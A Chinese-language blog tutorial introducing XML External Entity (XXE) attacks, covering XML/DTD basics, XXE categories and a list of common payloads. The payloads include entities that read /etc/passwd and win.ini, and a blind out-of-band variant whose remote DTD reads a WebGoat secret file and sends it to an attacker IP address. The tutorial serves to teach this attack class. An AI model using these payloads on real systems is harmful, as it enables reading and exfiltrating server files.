首页 > 其他分享 >XXE攻击介绍

XXE攻击介绍

时间:2022-11-30 13:00:43浏览次数:24  
标签:XML 攻击 实体 介绍 DTD 外部 XXE 攻击者

这篇文章将简单的向大家介绍XXE攻击,这是Web渗透中常见攻击中的一种,文章会以理论与实践相结合的形式,更加通俗易懂的文字来使大家掌握XXE攻击

0x01 XXE

XXE:XML External Entity attack(XML外部实体攻击)。其实XXE就是攻击者自定义了XML文件进行了执行,已知的最终效果就是读取系统文件或DOS攻击。理解XXE的过程其实就是学习XML。通俗的来讲就是,攻击者将XML文件中一定部分进行修改或者自己创建XML文件来完成自己想要的操作。

0x02 XML&DTD

XML(Extensible Markup Language),全称为可扩展标记语言,是一种传输的数据格式
DTD(Document Type Definition),全称为文档类型定义,是XML文档中的一部分,用来定义元素。
注意:XML与HTML有许多相似的地方,同样有标签(元素)与属性,XML与HTML的区别在于XML 被设计用来传输和存储数据,其焦点是数据的内容。 HTML 被设计用来显示数据,其焦点是数据的外观。 HTML 旨在显示信息,而 XML 旨在传输信息。

<square width="100" /> &a; </square>

DTD的话我理解为是对XML标签元素的解释,XML中遇到的标签都需要在DTD中进行标注,同样的DTD对于放置位置与CSS相同,有DTD内部文档声明,也有外部文档声明

DTD内部文档声明

当DTD存在于XML源文件中,由以下格式进行包裹

然后XML文件对于DTD的内容进行引用

<?xml version="1.0"?>
<!DOCTYPE note [ 
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

可以看到在DTD设置了一些变量,然后在xml文档中再使用到这些变量。这就是DTD与XML之间的使用方法。

DTD外部文档声明

从xml文件外部引入DTD:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

note.dtd:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

这里就不继续开展XML&DTD的相关知识,更多的可以去菜鸟教程中学习更详细的知识,接下来进入正题

0x03 XXE分类

  • 经典XXE:外部实体可以引入
  • XXE盲注:没有回显或错误信息
  • 报错XXE:通过报错信息获取
  • DOS攻击:用于不断循环实体变量,导致内存爆炸。

0x04 常见的payload

经典XXE

使用外部实体进行文件读取。
条件:
1.可以引用外部实体
2.服务器要回显结果

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<foo>&xxe;</foo>

Windows:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>

还可以使用外部参数实体+外部实体进行文件读取。
攻击者发受害者

<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://xxxx/evil.dtd">
%xxe;]>
<foo>&evil;</foo>

攻击者远程文件evil.dtd

<!ENTITY evil SYSTEM “file:///c:/windows/win.ini" >

XXE盲注

使用远程dtd读取,外部参数实体,外部实体进行文件读取。
条件:

  • 可以使用外部实体
  • 可以使用远程dtd读取
  • 可以使用外部参数实体
  • 受害者与攻击者远程机网络可达
  • 需要有远程攻击机放置xml文件以及接受结果
    攻击者主机xml文件:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.0.0.M25/XXE/secret.txt">
<!ENTITY % print "<!ENTITY send SYSTEM 'http://47.102.137.160:1234/xxe.xml?c=%file;'>">
%print;

攻击者发送payload:

<?xml version='1.0'?>
<!DOCTYPE RemoteDTD SYSTEM "http://47.102.137.160:1234/xxe.dtd" >
<!-- 引入&send;即可 -->
<root>&send;</root>

发送payload2(绕一圈引入):

<?xml version="1.0"?>
<!DOCTYPE xxe [
<!ENTITY % dtd SYSTEM "http://47.102.137.160:1234/xxe.dtd">
%dtd;]>
<comment>
	<text>&send;</text>
</comment>

标签:XML,攻击,实体,介绍,DTD,外部,XXE,攻击者
From: https://www.cnblogs.com/SmallVoter/p/16936187.html

相关文章

  • [Ansible专栏]Ansible条件判断的介绍和使用
    微信公众号:运维开发故事,作者:姜总前言很多时候,某些场景下playbook的结果依赖于变量、fact或者是前一个任务的执行结果,或者有的时候,我们会基于上一个task执行返回的结果而决定......
  • day01 环境搭建及python介绍
    1.Typora安装为什么要使用Typora的软件呢?是因为程序员不只是写代码这一件事,还需要给编写的代码写README文档,这个文档是说明程序如何使用的,README编写使用的就是Markd......
  • 检测到目标url存在http host头攻击漏洞
      修复建议对Host字段进行检测Nginx,修改ngnix.conf文件,在server中指定一个server_name名单,并添加检测。Apache,修改httpd.conf文件,指定ServerName,并开启UseCanonica......
  • Android Studio 简单介绍和使用问题小结
    AndroidStudio简单介绍和使用问题小结  Google在2013的I/O开发者大会上引入的该开发工具。现在已经更新到了0.5.8版本。现在github的很多项目都使用了AndroidStudio开......
  • 【免费领】近两期红队攻击录播视频学习资料
    "NIO与远控"和"内网穿透"这两节红队攻击,需要观看录播视频和PPT等资料的同学可以来领取了~ 红队攻击公开课-NIO与远控:https://www.bilibili.com/video/BV1BB4y1S7yz?sp......
  • Solidity基础介绍
    solidty跟javascript有一定的相似认识一个最简单的存储合约让我们先看一下最基本的例子。现在就算你都不理解也不要紧,后面我们会有更深入的讲解。//SPDX-License-Identifi......
  • Solidity智能合约结构介绍
    变量局部变量在函数内部声明不存储到链上状态变量在函数外部声明状态变量是永久地存储在链上的值。全局变量提供有关区块链的信息//SPDX-License-Identifier:MITpragmas......
  • Kubernetes(K8S) Controller - Deployment 介绍
    什么是controller实际存在的,管理和运行容器的对象Pod和Controller关系Pod是通过Controller实现应用的运维,比如伸缩、滚动升级等等Pod和Controller之间通过la......
  • DelayQueue的简单介绍
    DelayQueue按照延迟时间从小到大出队列的队列,延迟时间表示的是未来将要执行的时间减去当前的时间,对于加入DelayQueue的元素,需要实现Delayed接口  当getDelay()的返回......
  • 基于AD Event日志检测LSASS凭证窃取攻击
    01、简介简单介绍一下,LSASS(本地安全机构子系统服务)在本地或域中登录Windows时,用户生成的各种凭证将会存储在LSASS进程的内存中,以便用户不必每次访问系统时重新登录。攻击......